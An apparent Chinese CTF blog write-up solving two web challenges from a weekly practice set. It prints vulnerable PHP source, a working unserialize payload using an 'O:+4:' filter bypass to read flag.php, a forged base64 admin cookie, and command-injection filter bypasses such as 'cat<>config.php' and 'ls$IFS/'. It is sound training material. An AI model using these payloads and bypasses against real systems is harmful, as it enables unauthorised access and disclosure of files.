Back

安恒1月周周练

闲来无事想起安恒开了1月的周周练,就拿来练练手。

自己只做了web的部分。

Web1 easy

题目很直接的给出了源码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

很明显的一个php反序列化漏洞,但是需要绕过/[oc]:\d+:/i这个条件,而我们对象序列化出来的必须是

O:num:"name":1:{...}

这么一个格式,逃不过这个正则的判断,也找到了php序列化的开头字母代表。

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

尝试用不同的字母绕过,比如说用R,但是试了一下不行。也参考了一下PHP string序列化与反序列化语法解析不一致带来的安全隐患,发现或许有什么序列化的小trick,也常使用科学计数法或者十六进制绕过,但是直接报错了。

然后发现了php反序列unserialize的一个小特性,可以在O:4:中间加入+,变成O:+4:这样,与原效果一致,主要原因就是因为php对+的词法解析是做了再看下一位判断。

所以这题只要加上+绕过就好了,记得用url编码就好。

?data=O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

?data=O%3A%2B4%3A"baby"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

得到flag

Web2 ezweb2

发现Cookie里有user=dXNlcg%3D%3D,base64解码得到user=user,尝试改为admin,直接进入到了admin.php的后台。

随便试了一下,发现是个命令执行。命令执行可以参考我上篇文章,巧用命令注入的N种方式

ls可以得到

随便fuzz了一下,发现可以用cat<>config.php直接读取文件,文件内容如下。

Config.php:

<?php
session_start();

function waf_exec($str){
	$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
		$str = preg_replace($black_str, "",$str);
		return $str;
	}

Admin.php

<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
	die("You are not admin...");
}
if (@$_POST['cmd']) {
	$cmd = waf_exec($_POST['cmd']);
	$retval = array();
	exec($cmd, $retval, $status);
	// var_dump($retval);
	if ($status == 0) {
		$res = implode("\n",$retval);
	}else{
		$res = 'error';
	}
}else{
	$res = '';
}

include './templates/admin.html';

index.php

<?php
include 'config.php';
$userdata = @$_COOKIE['user'];

if (!$userdata) {
	setcookie("user",base64_encode('user'));
	$_SESSION['admin'] = false;
}else{
	$user = base64_decode($userdata);
	if ($user == 'admin') {
		$_SESSION['admin'] = true;
		header("Location: admin.php");
	}
}

include './templates/index.html';

找了几个目录都找不到flag,看来应该要到列目录才可以,但是又过滤了空格,就没办法用ls ..这样,但是绕过空格的方法很多,我们这里直接用ls$IFS/绕过空格。

看到flag文件名字,直接读就好了。

总结

整体来说题目还是不错的。还是可以学到一点东西的。尤其是web1的小trick,对于在绕waf也有一定的作用。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy